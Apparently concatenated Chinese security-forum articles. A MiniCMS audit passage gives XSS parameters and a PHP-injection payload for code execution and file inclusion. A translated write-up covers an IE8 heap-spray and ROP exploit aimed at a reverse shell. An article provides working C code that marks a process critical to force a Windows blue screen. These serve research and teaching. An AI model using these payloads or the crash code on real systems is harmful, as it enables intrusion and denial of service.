<input name="title" type="text" class="edit_textbox" placeholder="在此输入标题" value="<?php echo htmlspecialchars($page_title); ?>"/>
mc-admin/conf.php
同样这里的转义是在conf界面显示的时候进行的转义，存储时没有进行转义
<?php echo htmlspecialchars($comment_code); ?>
后来发现 数据在存储过程中经过了一步var_export() 这个函数会把单引号转义 但是并不会转义<>
所以我推测，这里的转义可能是浏览器转义的
评论代码这里只在设置界面这里会显示，其他地方不显示，也就没了输出点
既然可以输入内容，那么输入一点代码会是什么样，不要忘了这里的内容被存在数组里， 所以要先逃出数组
$mc_config = array (
'version' => '1.10',
'site_link' => 'http://127.0.0.1/minicms',
'site_name' => '我的网站',
'site_desc' => '又一个MiniCMS网站',
'comment_code' => '<script>alert(1)</script>',
)
单引号闭合再加上注释符
不行,前面说了comment_code中的单引号被var_export转义了，
只能利用其他的位置
就用网站标题吧
最后发现从conf.php传过去的mc_config变量，都经过了var_export
后来看了已有的CVE 是使用了install.php 在安装时 通过设置网站标题为
');<?php phpinfo();?>
实现RCE 一般网站在安装后都会删除install.php
## xss3
mc-admin/post.php
这里有一个tag参数，最后的输出没有经过转义
if (isset($_GET['tag']))
$filter_tag = $_GET['tag'];
288行有输出点
<a class="link_button" href="?state=<?php echo $state; ?>&date=<?php echo $filter_date;?>&tag=<?php echo $filter_tag; ?>">«</a>
<a class="link_button" href="?state=<?php echo $state; ?>&date=<?php echo $filter_date;?>&tag=<?php echo $filter_tag; ?>&page=<?php echo $prev_page; ?>">‹</a>
下面还有一个data参数，同样的道理，也存在xss
利用过程和之前的基本一样
### xss总结
可能只在一个地方输入，但是会在多个地方显示，也就是说虽然只在编辑页面输入了xss语句，但是会在post.php
以及minicms/?post/4hctsa等多个页面显示
还有浏览器可能也会转义标签等xss
因为这个cms使用了stripslashes来处理输入数据，那么可以全局搜索一下stripslashes来快速找到，有哪些地方可以输入数据，也就找到了xss输入点
## RCE
page-edit.php下面还有一处写入操作file_put_content
116行
$data['content'] = $post_content;
file_put_contents($file_path, serialize($data));
上面还有一处文件包含109行
$index_file = '../mc-files/posts/index/'.$post_state.'.php';
require $index_file;
回溯变量
$post_content = $_POST['content']
$post_state = $_POST['state']
都可控
在测试的时候出现了两个问题
content写上<?php phpinfo();?>
第一个还好说 content是存放在data目录下 这里的路径是index 可以用../跳转一下
第二个捣鼓了半天 还没弄好 就是写入的文件是有后缀的，dat 而这里自动加上了一个后缀.php 试过%00 # ; ./长度截断 都不行
最后把php的版本改为5.2 使用%00截断 实现了文件包含+RCE
### 一点收获
%00截断适用与php<5.3.29 并且GPC(magic_quotes_gpc)为off
## 总结
这个cms是一个搭建博客使用的，普通用户能够执行的东西比较少，像文件上传这种漏洞根本就不存在，主要是一个xss
这里xss还用到了一个在action参数里输出，虽然没复现出来 | 社区文章 |
# 【技术分享】在ie8中利用ROP与Heap Spray利用反弹shell
|
##### 译文声明
本文是翻译文章，文章来源：woumn.wordpress.com
原文地址：<https://woumn.wordpress.com/2016/12/07/rop-heap-spray-for-a-reverse-shell-in-ie8/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[Ox9A82](http://bobao.360.cn/member/contribute?uid=2676915949)
预估稿费：260RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**简介**
这个漏洞利用程序是针对Windows
7平台上的IE8浏览器开发的。我们关注的焦点是一个使用了Java网络启动协议（JNLP）的插件，这个插件存在有溢出漏洞。为了实现利用，我会使用Heaplib来构造ROP链以实现绕过DEP，并获取对目标机器的控制。
**
**
**Did it Work?**
我的exploit目前不能正常工作，我讨厌这个leave指令（如下图）
我进一步确认了一下反汇编。这个错误看起来是我没有访问此DLL的权限，或者是违反了页面的读、写、执行权限。我进一步的研究了一下，并在运行了“!vprot
7c3411a4”命令之后确认了答案，这个命令可以显示我感兴趣的内存权限。
**开发exploit**
**构造恶意输入**
Java网络启动协议（JNLP）使应用程序能够在远程服务器上的客户端桌面上启动。事实上JNLP存在一个缓冲区溢出漏洞，发送的请求的结构对于我们来说不是很重要，我们只需关心传递给JNLP导致溢出的docbase参数。
此外，我们将通过Javascript来触发这个利用是基于以下几个原因。首先，我们可以通过Javascript直接控制DOM。DOM是文档对象模型，它可以美化屏幕上显示的页面。它可以呈现HTML、CSS和Javascript，并且还可以访问浏览器的“Syscalls”，比如QuickTime，Flash等。这使得在浏览器中实现这个exploit变得很方便。
这个exploit使用了很多我们已经见到过的利用技术，所以我不会进行详细介绍。但是需要知道，当我们拥有一个溢出漏洞时，就意味着我们可以控制EIP和ESP处的内存。但是，我们还存在着DEP的问题
– 栈不可以执行。由于存在DEP保护，我们被迫使用ROP来解决。我们之前在其他的漏洞利用中使用过ROP技术，即我们去寻找jump
4或其他东西的地址。我们找到有执行权限的地方，然后直接调用这个地址的我们需要的OPCODE。这里的挑战是我们需要的指令可能不止是一、两条。一般来说ROP链会非常大，而且我们还要插入shellcode。令我担心的是，栈可能没有足够的空间来放置我们的全部载荷，我的方法是通过堆，但是这带来了一些额外的挑战。
堆上的第一个挑战是如何定位我们布置的数据。幸运的是，这个问题可以通过Heaplib.js的帮助来解决，它进行堆喷射并且保证地址对齐。堆喷射指的是将我们需要的内存数据放入堆中，以便我们有机会跳入我们需要的数据中。它看起来像这样：
（译注：这张图有误，DEP环境下不再需要NOP sled）
事实证明，Heaplib.js库可以提供非常精确的堆喷射，并且shellcode（译注：作者似乎分不清payload和shellcode的区别，之后也有几处混用。）存在于每间隔2000个字节的地址上，比如0020，2020，4020等（译注：Heaplib是一个用来进行精准堆喷射的库，作者首次提出并使用了Heap
Fengshui技术。但因为存在Nozzle，自IE9之后就不能使用了。）
我们面临的第二个问题是怎么把堆转换成栈。这个听起来有点违反常识，但是相信我，马上你就会明白我们为什么要这样做。很多人将这种做法称为“Stack
Pivot”（栈翻转），为了说明堆是怎么转化成栈的，我们只需要改变ESP寄存器的值指向我们堆的地址（由堆喷射得来的，存有payload）。这通常通过调用指令
```
XCHNG EAX，ESP;
RET
```
交换EAX的值来实现，这两条指令本身就是一个ROP gadgets。然而，在这里我们不能控制到EAX寄存器，但是我们可以控制EBP寄存器，那么也能够用
```
LEAVE;
RET
```
指令做栈翻转（译注：因为leave等于mov esp，ebp;pop
ebp）。我观察了一下有哪些寄存器会被覆盖，发现只有EIP和EBP这两个。我们费这些麻烦的主要原因是因为RET指令会返回到ESP指向的地址，所以我们需要让ESP指向我们在堆上的数据。
下一个要解决的问题是如何执行我们放在堆中的shellcode。请记住，在执行了栈翻转之后，堆现在成了“栈”，至少它看上去是这么一个东西。那我们如何执行shellcode呢？不幸的是现在的Windows使用了DEP保护（译注：准确的说是自IE8开始才启用，是IE版本的问题与Windows版本无关），这就是说某些地方的内存要么是可读、可写的，要么只是可执行的（互斥）。这是为了阻止我们想要做的事——执行存储在栈上的这些指令。事实上有一个方法可以绕过它。在Windows上，Kernel32.dll中的有一个名为VirtualProtect的函数用于更改内存的保护属性。这对我们来说是很有用的，因为如果我们可以对我们shellcode的内存空间调用这个函数，那么就可以将保护从可读写改为可执行，然后执行shellcode。事实上Kernel32.dll是开启了ASLR的，但我们会在“确定使用的参数”部分中处理这个问题。只需要意识到我们有一种改变内存权限的方法
– 当然这需要通过一个ROP链实现。
**确定使用的参数**
我需要做的第一件事是弄清楚我们将传递给VirtualProtect函数的参数。Alex直接提供给了我们参数，我们可以结合堆喷射的特性直接使用它。
这些值将是我们放置在栈中以传递给VirtualProtect函数调用的参数。
接下来，我得去寻找VirtualProtect的地址。为此，我使用Windbg来查看不支持ASLR保护的MSVCR71.DLL模块。通过运行命令：`dh
msvcr71` 来dump出模块的头，这提供给我们一个VirtualProtect函数的地址表。接下来，我们执行：`dps msvcr71 +
3a000`，它在VirtualProtect之前的表中给出（可能需要多次执行dps）。最后，这给我们提供了一个地址，我们用u
poi（7c37a140）确认是我们想要的地址。顺便说一下，这个地址已经在网上列出来了。
接下来我们关心的是确保栈翻转按计划实施。我提到过这取决于你能在这个过程中访问到哪个寄存器的值。只需使用Windbg附加IE进程，然后传递足够多的A来溢出缓冲区（在我们的情况下为200），并观察哪个寄存器会被溢出数据控制。我这样做之后，发现EIP和EBP都被A溢出，EAX保持不变。这意味着我们需要使用`LEAVE;RET`gadgets。
还有很重要的一点就是，所有的ROP gadgets都是在MSVCR71.dll上搜素的，因为它不仅不受ASLR的保护，而且Alex也特意告诉我使用这个。
**构造恶意输入**
在这一节，我将参考下面的图表来寻找那些特定的ROP gadgets：
简单来说，ROP
gadget只是一些共享内存模块（在我们的例子中是MSVCR71.DLL）中的一个内存地址，我们可以引用它来做一些操作，然后返回。有许多不同的工具可以用于搜索这些地址，Alex推荐了两种不同的选择：第一个叫做Skyrack，第二个叫做msfpescan带有正则表达式。这两种工具对于我想做的事来说都不大好用。于是我用Google找到了一个名为Ropper的开源工具。
所以，我使用了ropper。它很好安装，也很容易搜索复合指令，它会返回所有匹配的实例，而不是只返回一个。要使用的命令是：
```
ropper --file〜/ path / to / msvcr71.dll --search“INSTRUCTION;ret”
```
其中INSTRUCTION是你要搜索的指令。这里是我们需要的指令列表：
```
1.POP EAX，RET;
2.MOV EAX，DWORD PTR [EAX]; RET;
3.CALL EAX; RET;
4.POP EAX; POP EDI POP ESI; POP EBX; POP EBP; RET;
```
前三个可以很容易的通过Ropper找到。最后的指令有点困难。对于这一点，我发现了一个名为Fuzzysecurity的源，它使用了IE8的ROP链执行类似的漏洞利用。我试着跟随他的例子，但是我发现他使用了一个知名的通用ROP链，不过我决定不使用这个。但是，我注意到他找到了POP‘s并且列出了一些gadgets。唯一值得注意的是，他使用的gadgets包含五个POP指令，但我们调用的VirtualProtect只有四个参数。但这没有问题，因为我可以在最后添加一个虚拟的值，之后它会被弹出来。
接下来，将ROP gadgets留给栈翻转。如上所述，我们不能访问EAX –
我们知道在检查WINDBG溢出缓冲区时，发现只有EIP和EBP被覆盖。当我们控制EBP时只需要通过`LEAVE;
RET`gadgets来翻转栈。我实际上能够使用Skyrack查找这个，因为如果只是搜索一个单独的LEAVE指令，就有很大的可能性它紧接着一个RET。
我使用WINDBG对地址进行反汇编来验证结果。
我们之所以要有POP（x5）; RET，是因为ROP链本身的性质（译注：就是要弹出参数）。考虑以下这张图：
当我们从调用VirtualProtect返回时，我们伪造了一个栈帧。这意味着我们需要将VirtualProtect的所有参数POP出来，然后在这些POP之后，我们返回到栈中下一个地址。就是说当我们从VirtualProtect返回时，首先返回到`POP（x5）;
RET;`它负责删除参数，然后再返回到shellcode。
最初，我打算使用我自己手工生成的ROP链来演示，但是它没有工作。所以我决定采取Chandan的建议，使用Mona.py自动生成的ROP链。
在这里，我还想发出一些推荐给我的“幻影”地址。在课堂上，Alex给我们一些关于我们漏洞利用的结构的“提示”。首先，他说我们的缓冲区溢出应该包含栈翻转。接下来，我们得到一个模糊的提示，在我们的ROP链之前应该有一个地址：1）字节对齐或2）它可能是别的东西
–
我决定只使用Heaplib.js承诺的shellcode地址，因为为什么不呢？我不知道还应该放置什么在那里！最后的提示是，在我们的ROP链和shellcode之后，我们应该包括我们shellcode的“硬编码”地址。这对我没有意义，因为如果它正在执行ROP链，我们应该能够正确地击中shellcode，在我们调用VirtualProtect完成后，我们可以立即开始执行shell。所以基本上，每次我需要的“shellcode地址”使用的是0x0a0a2020。
最后我使用Metasploit来生成我的shellcode。 命令是：generate -t
js_be，它提供了可以粘贴到Javscript函数中的shellcode。 一个重要的注意是确保shellcode可以被4整除，以便它可以正确排列。
我的是324字节长，可以被4整除，所以没有什么我需要做的。
**
**
**未解决的问题**
关于这个任务，我还有几个问题没能够弄清楚。下面，我将详细说明我的关注和我的结论，试图说服那些读者，其中至少有一些想法会被纳入这个领域。
1\.
我不完全确定在缓冲区溢出时用什么去覆盖EIP的地址。我知道在幻灯片中，讨论了堆上对齐的地址，因为我们要么会命中NOP要么会命中我们的shellcode。但是，我不知道这是如何工作的，因为这个漏洞的整个点是获取和执行我们在堆上的代码。这意味着，如果我们命中的是NOPs或shellcode的开始（基本上除了pivot的一切）我们就会被卡住，因为我们没有移动ESP到我们的位置或改变保护。在与Alex讨论之后，他说用我们的堆栈枢轴覆盖EIP，这就是我所做的。（译注：不知道作者为啥会提出这个问题，估计是没能理解到精准堆喷射的意义所在。）
2\. 我认为pivot的地址是我们最初溢出到EIP的地址，但这对我来说没有意义，因为发生在堆栈枢轴（LEAVE;
RET）的操作代码只是移动ESP到EBP（译注：move the ESP into
EBP？？？），但是如果我们仍然在栈上，我们就不会将其替换为堆上的地址。（译注：在ret返回之前就已经控制了ebp，可以直接更改成堆地址，为什么非要把EIP覆盖成pivot，实在看不懂作者咋想的。）所以我最终解决了这个问题，用shellcode和pivot的地址溢出初始缓冲区，因为我知道EIP会指向pivot。这以后通过WINDBG确认。
3\. Alex基本上告诉我们在我们的ROP链之前插入一个地址，然后立即跟踪它。但是这是不明确的，它的目的是什么 –
我到现在仍然不知道。我获取的信息并没有表明这是必须要去做的。也许只是为了对齐？（译注：插入地址可以对齐？？？）ROP链后面的第二个地址应该是我们shellcode的“硬编码”地址。再次，我不明白为什么必须要这么做，而不是紧接着放置shellcode（译注：不放地址，你直接把指令ret了能执行吗？），但在这一点上，我盲目地采取了亚历克斯的建议。
4\. 为什么我无法执行LEAVE;指令？我的主要想法是EBP有问题或有些东西指向无效的内存。我不是很确定到底是发生了什么，也没有能够解决它。 | 社区文章 |
# Ring3触发BSOD代码实现及内核逆向分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
做过Windows内核开发或者驱动开发的朋友，必然常常会遇到BSoD，其全称为Blue Screen of
Death；of作为介词，其缩写o则需要小写了；然而Windows
NT内核当时推出时，想必微软也大势宣传其是进程安全的，不像DOS那样，一个进程挂了，整个系统就挂了；当然，如果对于系统启动过程非常熟悉的话，应该听说过一些系统的关键进程如csrss.exe挂了的话，则整个系统必然挂；这篇文章的目的就是揭露这后边的秘密，看看系统是如何选择性死亡了，这也牵扯到另一桩生意——一些恶意代码就喜欢鱼死网破。特别是一些服务万千用户的服务器，公司是承受不起这种损失的。
涉及到的知识点：
1、调用为公开的API实现Ring3的BSoD行为；
2、蓝屏dmp的分析与相关技巧的应用；
3、通过分析dmp来加快关键算法的定位，找关键逻辑；
4、借助IDA来逆向分析OS对Critical Process，Thread触发BSoD的实现原理；
5、安全厂商比较通用的解决方案；
## 1、背景
当关键进程诸如csrss.exe挂掉时，系统是根据什么来判断是否要触发BSoD的呢？一个最直观的想法就是根据进程名来识别，但很快这个想法就被否决了，因为进程名很容易伪造，随便写个程序命名为csrss.exe，然后手动杀掉，系统依旧如初；另一个想法便是OS做了签名检测，如果是微软的签名且EXE的名字还要满足，这个想法有点接近，但很快也被排除了，微软自带了那么多进程，随便找一个带有微软签名的，把进程名改一下，杀掉他，系统依旧运行的妥妥的。当然，这些想法有很多，最核心的方法不是去猜测这些，而是去逆向分析下TerminateProcess
()的内核实现，这个我们再下边会涉及到；接下来我们先用代码实现一下BSoD；
## 2、代码实现
2.1 关键的API介绍
NTSTATUS NTAPI NtSetInformationThread(IN HANDLE ThreadHandle,IN THREADINFOCLASS ThreadInformationClass,IN PVOID ThreadInformation,IN ULONG ThreadInformationLength);
NTSTATUS NTAPI NtSetInformationProcess(IN HANDLE ProcessHandle,IN PROCESSINFOCLASS ProcessInformationClass,IN PVOID ProcessInformation,IN ULONG ProcessInformationLength);
NTSTATUS NTAPI RtlSetThreadIsCritical(IN BOOLEAN NewValue,OUT PBOOLEAN OldValue OPTIONAL,IN BOOLEAN NeedBreaks)
NTSTATUS NTAPI RtlSetProcessIsCritical (IN BOOLEAN NewValue,OUT PBOOLEAN OldValue OPTIONAL,IN BOOLEAN NeedBreaks);
上边这几个API便是实现此目的的核心API，当然除了这些，还有其他的API，原理都是大同小异；简单介绍下，NtSetInformationThread和NtSetInformationProcess这两个API就是针对给定的进程或者线程做一些属性更新操作，大部分操作都是直接操作的进程或者线程对应的内核对象即EPROCESS、ETHREAD中相关的字段；与这两个API对应的则是NtQueryInformationThread()和NtQueryInformationProcess()这两个API，大家可自行查阅学习；
THREADINFOCLASS和PROCESSINFOCLASS这两个枚举常量，官方头文件公布出来的如下：
确实很小气，THREADINFOCLASS中几乎没给出有用的，PROCESSINFOCLASS中的ProcessBreakOnTermination倒是很显眼；根据网上公开的数据，整理如下：
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation, //0
ProcessQuotaLimits, //1
ProcessIoCounters, //2
ProcessVmCounters, //3
ProcessTimes, //4
ProcessBasePriority, //5
ProcessRaisePriority, //6
ProcessDebugPort, //7
ProcessExceptionPort, //8
ProcessAccessToken, //9
ProcessLdtInformation, //10
ProcessLdtSize, //11
ProcessDefaultHardErrorMode, //12
ProcessIoPortHandlers, //13
ProcessPooledUsageAndLimits, //14
ProcessWorkingSetWatch, //15
ProcessUserModeIOPL, //16
ProcessEnableAlignmentFaultFixup, //17
ProcessPriorityClass, //18
ProcessWx86Information, //19
ProcessHandleCount, //20
ProcessAffinityMask, //21
ProcessPriorityBoost, //22
ProcessDeviceMap, //23
ProcessSessionInformation, //24
ProcessForegroundInformation, //25
ProcessWow64Information, //26
ProcessImageFileName, //27
ProcessLUIDDeviceMapsEnabled, //28
ProcessBreakOnTermination, //29
ProcessDebugObjectHandle, //30
ProcessDebugFlags, //31
ProcessHandleTracing, //32
ProcessIoPriority, //33
ProcessExecuteFlags, //34
ProcessTlsInformation, //35
ProcessCookie, //36
ProcessImageInformation, //37
ProcessCycleTime, //38
ProcessPagePriority, //39
ProcessInstrumentationCallback, //40
ProcessThreadStackAllocation, //41
ProcessWorkingSetWatchEx, //42
ProcessImageFileNameWin32, //43
ProcessImageFileMapping, //44
ProcessAffinityUpdateMode, //45
ProcessMemoryAllocationMode, //46
MaxProcessInfoClass //47
} PROCESSINFOCLASS;
typedef enum _THREADINFOCLASS
{
ThreadBasicInformation, //0
ThreadTimes, //1
ThreadPriority, //2
ThreadBasePriority, //3
ThreadAffinityMask, //4
ThreadImpersonationToken, //5
ThreadDescriptorTableEntry, //6
ThreadEnableAlignmentFaultFixup, //7
ThreadEventPair_Reusable, //8
ThreadQuerySetWin32StartAddress, //9
ThreadZeroTlsCell, //10
ThreadPerformanceCount, //11
ThreadAmILastThread, //12
ThreadIdealProcessor, //13
ThreadPriorityBoost, //14
ThreadSetTlsArrayAddress, //15
ThreadIsIoPending, //16
ThreadHideFromDebugger, //17
ThreadBreakOnTermination, //18
ThreadSwitchLegacyState, //19
ThreadIsTerminated, //20
ThreadLastSystemCall, //21
ThreadIoPriority, //22
ThreadCycleTime, //23
ThreadPagePriority, //24
ThreadActualBasePriority, //25
ThreadTebInformation, //26
ThreadCSwitchMon, //27
MaxThreadInfoClass //28
} THREADINFOCLASS;
最核心的就是ProcessBreakOnTermination和ThreadBreakOnTermination，前者的含义是，只要进程挂了，那么就触发BSoD；后者是指定的线程挂了，系统就BSoD；RtlSetThreadIsCritical()和RtlSetProcessIsCritical()仅仅是针对以上两个API调用的简单包装；
2.2 关键API逆向分析
上图中的-2和-1分别代表当前线程和当前进程，即GetCurrentThread()和GetCurrentProcess()的返回值；既然ntdll已经帮我们包装好了，那就用呗，不然多不近人情；
2.3 demo代码如下：
#include <stdio.h>
#include <windows.h>
bool EnableDebugPrivilege();
bool TestCriticalApi();
typedef NTSTATUS(__cdecl *RTLSETPROCESSISCRITICAL)(IN BOOLEAN NewValue,OUT PBOOLEAN OldValue OPTIONAL,IN BOOLEAN NeedBreaks);
int main(void)
{
TestCriticalApi();
return 0;
}
bool EnableDebugPrivilege()
{
HANDLE hToken = NULL;
LUID debugPrivilegeValueLuid={0};
TOKEN_PRIVILEGES tokenPrivilege = {0};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return false;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &debugPrivilegeValueLuid))
{
CloseHandle(hToken);
return false;
}
tokenPrivilege.PrivilegeCount = 1;
tokenPrivilege.Privileges[0].Luid = debugPrivilegeValueLuid;
tokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivilege, sizeof(tokenPrivilege), NULL, NULL))
{
CloseHandle(hToken);
return false;
}
return true;
}
bool TestCriticalApi()
{
if(!EnableDebugPrivilege())
return false;
HMODULE hNtdllMod = GetModuleHandle(TEXT("ntdll.dll"));
if(!hNtdllMod)
return false;
RTLSETPROCESSISCRITICAL RtlSetProcessIsCritical;
RtlSetProcessIsCritical = (RTLSETPROCESSISCRITICAL)GetProcAddress(hNtdllMod, "RtlSetProcessIsCritical");
if (!RtlSetProcessIsCritical)
return false;
NTSTATUS status = RtlSetProcessIsCritical(TRUE, NULL, FALSE);
printf("status:%x\n",status);
getchar();
status = RtlSetProcessIsCritical(FALSE, NULL, FALSE);
printf("status:%x\n",status);
getchar();
return true;
}
当执行到第一个getchar()时，用Procexp强制杀掉test.exe进程，则触发BSoD；下边就根据此dmp来追踪BSoD的触发逻辑，这也不失为一种办法；
## 3、通过dmp来追寻OS对CriticalProcess进程的优待
3.1 step1 看一下栈回溯
0: kd> k
# Child-SP RetAddr Call Site
00 ffffd001`7039a848 fffff801`876c8d08 nt!KeBugCheckEx
01 ffffd001`7039a850 fffff801`8760affd nt!PspCatchCriticalBreak+0xa4
02 ffffd001`7039a890 fffff801`874ac5e9 nt! ?? ::NNGAKEGL::`string'+0x4d47d
03 ffffd001`7039a8f0 fffff801`874ac2c9 nt!PspTerminateProcess+0xfd
04 ffffd001`7039a930 fffff801`87162263 nt!NtTerminateProcess+0xb9
05 ffffd001`7039aa00 00007ffa`c1e9380a nt!KiSystemServiceCopyEnd+0x13
06 000000e4`b442eb08 00000000`00000000 0x00007ffa`c1e9380a
虽然栈回溯不是那么完美，也不要紧，关键的地方出来了，顺着调用栈这几个函数，先简单用Windbg来反汇编看下，后边用IDA来分析下；
3.2 step2 看一下传给KeBugCheckEx的参数
void KeBugCheckEx( ULONG BugCheckCode, ULONG_PTR BugCheckParameter1, ULONG_PTR BugCheckParameter2, ULONG_PTR BugCheckParameter3, ULONG_PTR BugCheckParameter4 );
https://docs.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-kebugcheckex
函数原型如上，共计五个参数，后边的四个参数都是依赖于第一个参数BugCheckCode而不同的，下边就顺道带着大家一起来处理下这个问题——怎么用Windbg来处理；
x64下，函数的前四个参数是通过”cd89”这几个寄存器实现的，后边的参数通过栈传递，所以这里我们需要返回到调用KeBugCheckEx的上一级来查看传入的参数；当然也可以通过其他手段直接在本层查找，后边解64位程序的dmp时再来详解其趣事；
0: kd> ub fffff801`876c8d08
nt!PspCatchCriticalBreak+0x85:
fffff801`876c8ce9 400fb6ce movzx ecx,sil
fffff801`876c8ced 3c06 cmp al,6
fffff801`876c8cef 4889742420 mov qword ptr [rsp+20h],rsi
fffff801`876c8cf4 0f44cd cmove ecx,ebp
fffff801`876c8cf7 4533c9 xor r9d,r9d
fffff801`876c8cfa 440fb6c1 movzx r8d,cl
fffff801`876c8cfe b9ef000000 mov ecx,0EFh
fffff801`876c8d03 e818efa8ff call nt!KeBugCheckEx (fffff801`87157c20)
ecx寄存器的值为0xEF，即BugCheckCode为0xEF，下一步就要确定其后的几个参数的意义了，这时Windbg的帮助文档就显神通了；且看我操作：
根据文档提示，后边的几个参数全是Reserved，不用关心；
3.2 step2 nt! ?? ::NNGAKEGL::`string’+0x4d47d这个看中像字符串，分析下里边有没有可识别的字符
0: kd> ub fffff801`8760affd
nt! ?? ::NNGAKEGL::`string'+0x4d45a:
fffff801`8760afda 488bd8 mov rbx,rax
fffff801`8760afdd e816e9aeff call nt!PsGetServerSiloState (fffff801`870f98f8)
fffff801`8760afe2 83f802 cmp eax,2
fffff801`8760afe5 7416 je nt! ?? ::NNGAKEGL::`string'+0x4d47d (fffff801`8760affd)
fffff801`8760afe7 4c8d8748040000 lea r8,[rdi+448h]
fffff801`8760afee 488bd7 mov rdx,rdi
fffff801`8760aff1 488d0d3894faff lea rcx,[nt! ?? ::NNGAKEGL::`string' (fffff801`875b4430)]
fffff801`8760aff8 e867dc0b00 call nt!PspCatchCriticalBreak (fffff801`876c8c64)
0: kd> db fffff801`875b4430
fffff801`875b4430 54 65 72 6d 69 6e 61 74-69 6e 67 20 63 72 69 74 Terminating crit
fffff801`875b4440 69 63 61 6c 20 70 72 6f-63 65 73 73 20 30 78 25 ical process 0x%
fffff801`875b4450 70 20 28 25 73 29 0a 00-cc cc cc cc cc cc cc cc p (%s)..........
fffff801`875b4460 42 72 65 61 6b 2c 20 6f-72 20 49 67 6e 6f 72 65 Break, or Ignore
fffff801`875b4470 20 28 62 69 29 3f 20 00-cc cc cc cc cc cc cc cc (bi)? .........
fffff801`875b4480 43 72 69 74 69 63 61 6c-20 74 68 72 65 61 64 20 Critical thread
fffff801`875b4490 30 78 25 70 20 28 69 6e-20 25 73 29 20 65 78 69 0x%p (in %s) exi
fffff801`875b44a0 74 65 64 0a 00 cc cc cc-cc cc cc cc cc cc cc cc ted.............
0: kd> da /c 100 fffff801`875b4430
fffff801`875b4430 "Terminating critical process 0x%p (%s)."
0: kd> da /c 100 fffff801`875b4460
fffff801`875b4460 "Break, or Ignore (bi)? "
0: kd> da /c 100 fffff801`875b4480
fffff801`875b4480 "Critical thread 0x%p (in %s) exited."
确实是个字符串，准确说是个格式化字符串；其实要找到这些参数对应的数据也是很简单的事情，我这里给出结果，大家可自行实验找到数据；
0: kd> dq ffffd001`7039a850
ffffd001`7039a850 00000000`000000ef ffffe001`07819080
ffffd001`7039a860 00000000`00000000 00000000`00000000
ffffd001`7039a870 00000000`00000000 ffffe001`08b73380
ffffd001`7039a880 ffffe001`07819080 fffff801`8760affd
ffffd001`7039a890 00000000`00000000 ffffe001`08b736a0
ffffd001`7039a8a0 00000000`00000000 00000000`00000000
ffffd001`7039a8b0 00000000`00000000 00000000`00000001
ffffd001`7039a8c0 00000000`00000001 ffffe001`08b73380
rdi:ffffe001`07819080
rdx:ffffe001`07819080
r8:rdi+448=ffffe001`078194c8
0: kd> db ffffe001`078194c8
ffffe001`078194c8 74 65 73 74 2e 65 78 65-00 00 00 00 00 00 00 02 test.exe........
3.3 step3 分析下nt!PspTerminateProcess为何调用到KeBugCheckEx
0: kd> ub fffff801`874ac5e9
nt!PspTerminateProcess+0xd9:
fffff801`874ac5c5 e8b65cbaff call nt!KeAbPostRelease (fffff801`87052280)
fffff801`874ac5ca 4883bbf006000000 cmp qword ptr [rbx+6F0h],0
fffff801`874ac5d2 0f85c4771500 jne nt! ?? ::NNGAKEGL::`string'+0x4621c (fffff801`87603d9c)
fffff801`874ac5d8 448bce mov r9d,esi
fffff801`874ac5db 458bc6 mov r8d,r14d
fffff801`874ac5de 498bd4 mov rdx,r12
fffff801`874ac5e1 488bcb mov rcx,rbx
fffff801`874ac5e4 e8b3420100 call nt!PspTerminateAllThreads (fffff801`874c089c)
看来是这个nt!PspTerminateAllThreads里边搞的事情，用Windbg来分析的话，有点不太合适了，我们用IDA来分析下；
## 4、IDA分析nt!PspTerminateAllThreads内部针对Critical Process、Thread的特殊处理
代码中是取的EPROCESS偏移0x304位置处的数据，且判断的是该数据的bit13的这个位是否为1，为1的话则命中下边的逻辑，ok，下边就是分析下EPROCESS
0x304偏移处的数据的bit13位是什么了；如下：
0: kd> dt _EPROCESS
nt!_EPROCESS
...
+0x304 Flags : Uint4B
+0x304 CreateReported : Pos 0, 1 Bit
+0x304 NoDebugInherit : Pos 1, 1 Bit
+0x304 ProcessExiting : Pos 2, 1 Bit
+0x304 ProcessDelete : Pos 3, 1 Bit
+0x304 ControlFlowGuardEnabled : Pos 4, 1 Bit
+0x304 VmDeleted : Pos 5, 1 Bit
+0x304 OutswapEnabled : Pos 6, 1 Bit
+0x304 Outswapped : Pos 7, 1 Bit
+0x304 FailFastOnCommitFail : Pos 8, 1 Bit
+0x304 Wow64VaSpace4Gb : Pos 9, 1 Bit
+0x304 AddressSpaceInitialized : Pos 10, 2 Bits
+0x304 SetTimerResolution : Pos 12, 1 Bit
+0x304 BreakOnTermination : Pos 13, 1 Bit
+0x304 DeprioritizeViews : Pos 14, 1 Bit
+0x304 WriteWatch : Pos 15, 1 Bit
+0x304 ProcessInSession : Pos 16, 1 Bit
+0x304 OverrideAddressSpace : Pos 17, 1 Bit
+0x304 HasAddressSpace : Pos 18, 1 Bit
+0x304 LaunchPrefetched : Pos 19, 1 Bit
+0x304 Background : Pos 20, 1 Bit
+0x304 VmTopDown : Pos 21, 1 Bit
+0x304 ImageNotifyDone : Pos 22, 1 Bit
+0x304 PdeUpdateNeeded : Pos 23, 1 Bit
+0x304 VdmAllowed : Pos 24, 1 Bit
+0x304 ProcessRundown : Pos 25, 1 Bit
+0x304 ProcessInserted : Pos 26, 1 Bit
+0x304 DefaultIoPriority : Pos 27, 3 Bits
+0x304 ProcessSelfDelete : Pos 30, 1 Bit
...
由此可知，nt!PspTerminateAllThreads会判断当前的进程的BreakOnTermination位是否置位，即当前进程是否为Critical
Process，若是的话，则触发BSoD的逻辑；逻辑基本全部屡清楚了；
## 5、留一个作业
大家可以尝试着分析下NtSetInformationProcess或者NtSetInformationThread设置进程或线程的Critical属性时，设置的是哪里。思路如下：
1）常规的办法是直接IDA逆向分析，找到关键点；
2）讨巧的方法是用Windbg下一个内存写断点；
## 6、需要解决的问题
作为安全厂商，我们该如何针对客户提供保护呢？一些常规的方法大概如下：
1、HOOK相关的API，当执行类似的操作时，根据后台下发的策略做相应的校验拦截动作；
